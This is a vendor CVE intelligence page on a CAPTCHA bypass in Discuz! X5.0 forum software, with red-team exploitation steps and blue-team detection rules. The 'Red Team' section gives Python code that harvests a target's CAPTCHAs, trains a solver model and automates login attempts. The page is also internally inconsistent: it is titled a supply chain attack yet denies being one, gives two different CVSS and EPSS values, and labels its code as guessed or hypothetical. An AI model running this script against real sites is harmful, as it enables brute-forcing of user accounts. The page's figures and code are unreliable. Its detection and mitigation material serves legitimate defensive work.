☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Discuz! logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.9 🐛 CWE-804
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-49953

CVE-2026-49953 Supply Chain Attack in Discuz
📅 PUBLISHED: 2026-06-15 20:16 UTC 🔄 UPDATED: 2026-09-23 20:24 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
9.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-49953 is a CAPTCHA bypass vulnerability affecting Discuz! X5.0 releases from 20260320 through 20260501. The vulnerability allows unauthenticated remote attackers to defeat challenge controls by exploiting limited complexity and predictable character sets in generated CAPTCHA images. Attackers can train a custom optical character recognition (OCR) model against collected CAPTCHA samples to reliably predict challenge text, bypassing protections on login, registration, and other functionality from automated abuse. This vulnerability has a CVSS score of 6.5 (Medium) and is currently unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is significant for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone web application vulnerability in the Discuz! forum software.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: None
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. The vulnerability allows automated bypass of CAPTCHA controls, enabling brute-force attacks, account enumeration, and spam registration. While not directly leading to data breach, it facilitates further attacks.

Deep Dive & Mechanics

The vulnerability stems from the CAPTCHA generation algorithm in Discuz! X5.0. The CAPTCHA images are generated with limited complexity (e.g., short length, predictable character sets, minimal distortion). This makes them susceptible to automated OCR-based recognition.

Root Cause:

  • The CAPTCHA uses a fixed set of characters (e.g., alphanumeric without ambiguous characters).
  • The characters are rendered with minimal noise, rotation, or distortion.
  • The CAPTCHA length is short (e.g., 4-6 characters).
  • The generation algorithm is deterministic or uses a weak random seed.

Attack Flow:

  1. Attacker collects a set of CAPTCHA images from the target Discuz! instance.
  2. Attacker manually labels a subset of these images (e.g., 100-200 samples).
  3. Attacker trains a custom OCR model (e.g., using Tesseract or a CNN) on the labeled dataset.
  4. Attacker uses the trained model to automatically solve CAPTCHAs in real-time.
  5. Attacker can now automate login attempts, registration, or other CAPTCHA-protected actions.

Vulnerable vs. Patched Code

Vulnerable Code (Discuz! X5.0 20260320-20260501): The CAPTCHA generation likely uses a simple approach like:

// Vulnerable: simple random string with minimal distortion
function generate_captcha() {
    $chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789';
    $captcha = '';
    for ($i = 0; $i < 4; $i++) {
        $captcha .= $chars[rand(0, strlen($chars)-1)];
    }
    // Generate image with minimal noise
    $im = imagecreatetruecolor(120, 40);
    // ... draw text with simple font, no distortion
    return $im;
}

Patched Code (Hypothetical): A patched version would include:

  • Longer CAPTCHA strings (8+ characters).
  • Larger character set (including lowercase, special characters).
  • Significant distortion, noise, and random lines.
  • Use of a strong random number generator.
  • Implementation of a challenge-response mechanism (e.g., hash-based).
// Patched: complex CAPTCHA with distortion
function generate_captcha() {
    $chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789!@#$%';
    $captcha = '';
    for ($i = 0; $i < 8; $i++) {
        $captcha .= $chars[random_int(0, strlen($chars)-1)];
    }
    $im = imagecreatetruecolor(200, 60);
    // Add noise, random lines, arcs
    // Apply random distortion using sine waves
    // Use multiple fonts and colors
    return $im;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Python 3.8+
  • Tesseract OCR (optional, for baseline)
  • TensorFlow or PyTorch (for custom model)
  • Requests library

Step 1: Collect CAPTCHA Samples

import requests
import os

url = "http://target.com/misc.php?mod=seccode&action=update&idhash=..."
for i in range(500):
    resp = requests.get(url)
    with open(f"captchas/{i}.png", "wb") as f:
        f.write(resp.content)

Step 2: Label Samples Manually label 100-200 images with their text values.

Step 3: Train OCR Model

import tensorflow as tf
from tensorflow import keras

# Build a simple CNN for CAPTCHA recognition
model = keras.Sequential([
    keras.layers.Conv2D(32, (3,3), activation='relu', input_shape=(40,120,1)),
    keras.layers.MaxPooling2D((2,2)),
    keras.layers.Conv2D(64, (3,3), activation='relu'),
    keras.layers.MaxPooling2D((2,2)),
    keras.layers.Flatten(),
    keras.layers.Dense(128, activation='relu'),
    keras.layers.Dense(36*4, activation='softmax')  # 36 chars, 4 positions
])

model.compile(optimizer='adam', loss='categorical_crossentropy')
model.fit(X_train, y_train, epochs=10)

Step 4: Automate Bypass

def solve_captcha(image_path):
    img = preprocess(image_path)
    pred = model.predict(img)
    return decode_prediction(pred)

# Automate login
session = requests.Session()
captcha_img = session.get(captcha_url).content
solution = solve_captcha(captcha_img)
session.post(login_url, data={"username": "admin", "password": "pass", "seccode": solution})

Blue Team

Detection:

  • Monitor for high frequency of CAPTCHA requests from a single IP.
  • Look for patterns of failed CAPTCHA attempts followed by successful ones (indicating model training).
  • Analyze CAPTCHA generation logs for anomalies.

Honeypot:

  • Deploy a fake CAPTCHA endpoint that returns intentionally distorted images.
  • Log all requests and analyze for automated behavior.

Mitigation:

  • Implement rate limiting on CAPTCHA endpoints.
  • Use CAPTCHA services like reCAPTCHA v3.
  • Add JavaScript-based challenges to detect automation.

Indicators of Compromise (IOCs)

Network IOCs:

  • High frequency of requests to /misc.php?mod=seccode from a single IP.
  • Requests with unusual User-Agent strings (e.g., Python-requests).
  • Rapid succession of login/registration attempts with different credentials.

File IOCs:

  • Presence of CAPTCHA image files in temporary directories.
  • Trained OCR model files (.h5, .pb, .pth).

Log IOCs:

  • Repeated CAPTCHA validation failures followed by successes.
  • Login attempts from IPs with no prior browsing history.

Detection Engineering

YARA Rule

rule discuz_captcha_bypass {
    meta:
        description = "Detects CAPTCHA bypass attempts on Discuz! X5.0"
        author = "Valters IT"
        date = "2026-05-15"
        cve = "CVE-2026-49953"
    strings:
        $s1 = "misc.php?mod=seccode" ascii wide nocase
        $s2 = "seccode" ascii wide nocase
        $s3 = "action=update" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Discuz CAPTCHA Bypass Attempt
id: 8f7a3b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects high frequency of CAPTCHA requests from a single IP
author: Valters IT
date: 2026/05/15
logsource:
    category: web
    product: apache
detection:
    selection:
        cs-uri-query|contains: "misc.php?mod=seccode"
    timeframe: 5m
    condition: selection | count() by src_ip > 100
falsepositives:
    - Legitimate users with slow connections
level: medium

Suricata Rule

alert http any any -> any any (msg:"Discuz CAPTCHA Bypass Attempt"; flow:to_server; content:"misc.php?mod=seccode"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Discuz! to a version newer than 20260501 if available.
  2. Implement rate limiting on CAPTCHA endpoints (e.g., max 10 requests per minute per IP).
  3. Add CAPTCHA complexity by increasing length, using more characters, and adding distortion.
  4. Use a third-party CAPTCHA service like reCAPTCHA or hCaptcha.

Long-term Fixes:

  1. Patch the CAPTCHA generation code to use a strong random number generator and complex image generation.
  2. Implement multi-factor authentication for sensitive actions.
  3. Monitor for automated behavior using WAF rules.
  4. Conduct security audit of all authentication mechanisms.

Workarounds:

  • Disable CAPTCHA and use IP-based rate limiting as a temporary measure.
  • Add a JavaScript challenge (e.g., proof-of-work) before CAPTCHA generation.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-49953/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.